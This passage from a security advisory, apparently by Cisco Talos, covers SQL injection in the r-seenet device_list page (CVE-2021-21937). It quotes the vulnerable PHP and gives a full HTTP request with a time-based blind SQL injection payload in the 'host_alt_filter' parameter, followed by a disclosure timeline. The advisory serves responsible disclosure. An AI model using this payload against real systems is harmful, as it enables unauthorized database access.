803      { // v pripade, ze filter = 3 hledame routry s priznakem new
804        $sql = $sql.'AND new = "1" ';
805      }
806    }
[...]
854    $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856    if( is_superadmin() && ($company_id == 0) )
857    { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858      $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859    }
860    else if( is_admin() )
861    {
862      $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863    }
864    else
865    {
866      $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867    }
868    // vykonani SQL prikazu
869      $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a&imei_filter=a&host_alt_filter="%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21937 - 'host_alt_filter' parameter

Parameter host_alt_filter is set as a session variable on line 224 of device_list.php as seen below:

```
222    if(isset($_GET['host_alt_filter']))
223    { // je nastaven filtr hostname alt
224      $_SESSION['host_alt_filter'] = urldecode($_GET['host_alt_filter']);
225    }
```

Following the above code, a variable is used on line 579 in the following code to build up a SQL query which will get executed on line 869:

```
577    if((isset($_SESSION['host_alt_filter'])) && ($_SESSION['host_alt_filter'] != ''))
578    {
579      $sql = $sql.'AND hostname_alt LIKE "%'.mysqli_real_escape_string($link,$_SESSION['host_alt_filter']).'%" ';
580    }
581
[...]
854    $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856    if( is_superadmin() && ($company_id == 0) )
857    { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858      $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859    }
860    else if( is_admin() )
861    {
862      $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863    }
864    else
865    {
866      $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867    }
868    // vykonani SQL prikazu
869      $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a&imei_filter=a&host_alt_filter="%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

Timeline

2021-08-19 - Vendor Disclosure
2021-11-16 - Vendor Patched

2021-11-22 - Public Release

CREDIT

Discovered by Yuri Kramarz of Cisco Talos.